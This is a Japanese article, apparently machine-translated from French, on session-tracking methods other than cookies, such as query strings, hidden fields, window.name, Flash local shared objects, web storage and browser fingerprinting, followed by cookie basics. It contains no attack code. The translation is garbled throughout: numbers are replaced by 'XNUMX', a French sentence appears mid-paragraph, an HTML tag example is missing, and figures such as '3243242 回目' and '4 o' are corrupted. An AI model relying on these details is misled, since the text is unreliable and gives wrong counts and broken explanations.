この目的で使用されるクエリ文字列と Cookie は非常に似ており、どちらもサーバーによって任意に選択され、ブラウザによって返される情報です。ただし、いくつかの違いがあります。クエリ文字列を含む URL を再利用すると、同じ情報がサーバーに送信されます。たとえば、ユーザーの設定が URL のクエリ文字列にエンコードされていて、ユーザーがその URL を電子メールで別のユーザーに送信した場合、そのユーザーはそれらの設定を使用することもできます。

一方、ユーザーが同じページに XNUMX 回アクセスした場合、同じクエリ文字列が両方の回で使用されるという保証はありません。たとえば、ユーザーが XNUMX 回目に内部サイトページからページに移動し、XNUMX 回目に外部ページから同じページに移動した場合、通常、サイトページに関連するクエリ文字列は異なりますが、Cookie は同じです。 .

クエリ文字列のその他の欠点は、セキュリティに関連しています。セッションを識別するデータをクエリ文字列に保持すると、セッション固定攻撃、識別子参照攻撃、およびその他の悪用が可能になり、単純化されます。セッション ID を HTTP Cookie として渡す方が安全です。

非表示のフォームフィールド

ASP.NET で使用されるセッショントラッキングの XNUMX つの形式は、非表示フィールドを持つ Web フォームを使用することです。この手法は、URL クエリ文字列を使用して情報を運ぶのと非常によく似ており、同じ長所と短所があります。フォームが HTTP GET メソッドで処理される場合、フィールドは実際には、フォームの送信時にフォームを送信するブラウザーの URL の一部になります。ただし、ほとんどのフォームは HTTP POST で処理されます。これにより、隠しフィールドを含むフォーム情報が、URL の一部でも Cookie でもない追加の入力として追加されます。

このアプローチには、追跡の観点から XNUMX つの利点があります。まず、URL ではなく HTML ソースコードと POST 入力に配置された情報を追跡すると、平均的なユーザーはこの追跡を回避できます。第 XNUMX に、ユーザーが URL をコピーしても (たとえば、ページをディスクに保存したり、電子メールで送信したりするために)、セッション情報はコピーされません。

ウィンドウ名

すべての一般的な Web ブラウザーは、DOM の window.name プロパティを使用して JavaScript を介して大量のデータ (2MB から 32MB) を保存できます。このデータは、セッション Cookie の代わりに使用でき、ドメイン間でも使用されます。この手法を JSON オブジェクトと組み合わせて、クライアント側のセッション変数の複雑なセットを格納できます。

欠点は、個別のウィンドウまたはタブごとに最初は空の window.name があることです。 (ユーザーが開いた) タブでブラウジングする場合、個別に開いたタブにはウィンドウ名がありません。さらに、window.name を使用して、さまざまなサイト間で訪問者を追跡することができ、プライバシーの問題が生じる可能性があります。

これは、サーバーが関与しないため、いくつかの点で Cookie よりも安全である可能性があり、スニファー Cookie のネットワーク攻撃に対して無防備になります。ただし、データを保護するために特別な手段を講じると、同じウィンドウで開いた他のサイトからデータを利用できるため、さらなる攻撃に対して脆弱になります。

HTTP 認証

HTTP プロトコルには、基本的なアクセス認証プロトコルと、ユーザーがユーザー名とパスワードを指定した場合にのみ Web ページへのアクセスを許可するアクセス認証ダイジェストが含まれています。サーバーが Web ページへのアクセスを許可するために証明書を要求する場合、ブラウザーはユーザーにそれを要求し、取得すると、ブラウザーはそれを保存し、後続のすべての HTTP 要求で送信します。この情報は、ユーザーの追跡に使用できます。

ローカル共有オブジェクト

ブラウザに Adobe Flash Player プラグインが含まれている場合、 ローカル共有オブジェクト クッキーと同じ目的で使用できます。以下の理由から、これらは Web 開発者にとって魅力的な選択肢となる可能性があります。

ローカル共有オブジェクトのデフォルトのサイズ制限は 100 KB です。
セキュリティチェックは、ユーザー Cookie チェックとは別のものです (そのため、Cookie が許可されていない場合でも、ローカル共有オブジェクトを許可できます)。

この最後の点は、Cookie 管理ポリシーをアドビのローカル共有オブジェクトのポリシーと区別するものです。疑問を投げかけるユーザーによるプライバシー設定の管理について: ユーザーは、Cookie の管理がローカル共有オブジェクトの管理に影響を与えないこと、およびその逆であることを認識しておく必要があります。

このシステムに対するもう XNUMX つの批判は、Web 標準ではなくプロプライエタリな Adobe Flash Player プラグインを介してのみ使用できるということです。

クライアント側の持続性

一部の Web ブラウザは、スクリプトベースの永続化メカニズムをサポートしています。これにより、後で使用するためにページがローカルに情報を保存できます。たとえば、Internet Explorer は、ブラウザーの履歴、ブックマーク、XML に保存された形式、またはディスクに保存された Web ページで直接保持される永続的な情報をサポートしています。 Microsoft Internet Explorer 5 の場合、DHTML ビヘイビアを介して利用できるユーザーデータメソッドがあります。

W3C は HTML 5 で、Web ストレージと呼ばれるクライアント側のデータストレージ用の新しい JavaScript API を導入し、Cookie を完全に置き換えることを目指しました。 Cookie に似ていますが、容量が大幅に向上し、HTTP 要求のヘッダーに情報を保存しません。 API では、ローカルストレージとセッションストレージの XNUMX 種類の Web ストレージを使用できます。これは、永続的な Cookie とセッション Cookie に似ています (セッション Cookie は、ブラウザーが閉じられている間に期限切れになることを除きます)。 セッションストレージ タブが閉じられると期限切れになります)、それぞれ。 Web ストレージは、Mozilla Firefox 3.5、Google Chrome 5、Apple Safari 4、Microsoft Internet Explorer 8、および Opera 10.50 でサポートされています。

別のメカニズムは、通常、Web ページで JavaScript プログラムを使用して、ブラウザーのキャッシュ (更新ではなくメモリ内) に依存しています。

たとえば、ページにタグを含めることができます. La première fois que la page se charge, le programme exemple.js est aussi chargé.

この時点で、プログラムはキャッシュメモリに残り、訪問したページは 3243242 回目に再読み込みされません。したがって、プログラムにグローバル変数 (var id = XNUMX; など) が含まれている場合、この識別子は有効なままであり、ページが再度読み込まれるか、プログラムにリンクしているページが読み込まれると、他の JavaScript コードによって悪用される可能性があります。

この方法の主な欠点は、JavaScript グローバル変数を静的にする必要があることです。つまり、Cookie のように変更または削除することはできません。

ウェブブラウザの指紋

ブラウザフィンガープリントは、識別目的でブラウザの構成設定に関して収集される情報です。これらのフィンガープリントは、Cookie が無効になっている場合でも、インターネットユーザーまたはデバイスを完全または部分的に識別するために使用できます。

基本的な Web ブラウザー構成情報は、人間の Web トラフィックを正確に測定し、さまざまな形式のクリック詐欺を検出する目的で、Web サイトオーディエンスサービスによって長い間収集されてきました。クライアント側のスクリプト言語の助けを借りて、より正確な情報収集が可能になります。可能になりました.

この情報をビット文字列に変換すると、デバイスのフィンガープリントが生成されます。 2010 年、電子フロンティア財団 (EFF) は、ブラウザのフィンガープリントのエントロピーを少なくとも 18,1ビット、そしてそれはキャンバスフィンガープリントの進歩がそのエントロピーに5,7ビットを追加する前でした.

一言で言えばクッキー

Cookie は、Web ブラウザーによって Web サイト訪問者のハードドライブに保存される小さなテキストファイルであり、(とりわけ) 訪問者またはサイト内の移動に関する情報を記録するために使用されます。したがって、ウェブマスターは訪問者の習慣を認識し、訪問者ごとにサイトの表示をパーソナライズできます。 Cookie を使用すると、ホームページに表示する記事の数を記憶したり、プライベートパーティのログイン資格情報を保持したりすることができます。訪問者がサイトに戻ったときに、名前とパスワードを入力してログインする必要はありません。それらは Cookie で自動的に読み取られるため、認識されます。

Cookie には、サイトデザイナーによって設定された限られた有効期間があります。また、ブラウザの終了に対応するサイトでのセッションの終了時に期限切れになることもあります。クッキーは、訪問者の生活を楽にし、より関連性の高い情報を提供するために広く使用されています。しかし、特別な技術により、複数のサイトで訪問者を追跡し、その訪問者の習慣に関する非常に広範な情報を収集して照合することができます。この方法は、訪問者のプライバシーを侵害する監視技術として Cookie の使用に評判をもたらしましたが、残念なことに、非技術的な理由での使用や、ユーザーの期待に反する使用の多くの場合、現実に対応しています。

これらの正当な懸念に応えて、HTML 5 では、Web ストレージと呼ばれるクライアント側のデータストレージ用の新しい JavaScript API が導入されています。これは、Cookie に取って代わることを目的としており、より安全で大容量です。

クッキーの保管

一部のブラウザーでは、Cookie を簡単に編集できます。値を手動で変更するには、メモ帳などの単純なテキストエディターで十分です。

Cookie の保存方法は、ブラウザによって異なります。

Microsoft Internet Explorer 各 Cookie を別のファイルに保存します。
Mozilla Firefox すべての Cookie を XNUMX つのファイルに保存します。
Opera すべての Cookie を XNUMX つのファイルに保存して暗号化します (ソフトウェアオプション以外では変更できません)。
アップルのSafari すべての Cookie を単一の .plist 拡張子ファイルに保存します。ソフトウェアオプションを使用しない限り、変更は可能ですが、それほど簡単ではありません。

サポートするにはブラウザが必要です 少なくとも :

300 個の同時 Cookie;
Cookie ごとに 4 o。
ホストまたはドメインごとに 20 個の Cookie。

[合計： 0 平均： 0]

インターネット Cookie: それは何ですか? 定義、起源、型、およびプライバシー

Cookie の役割とは何ですか? Cookie の種類は何ですか? 🍪

HISTORIQUE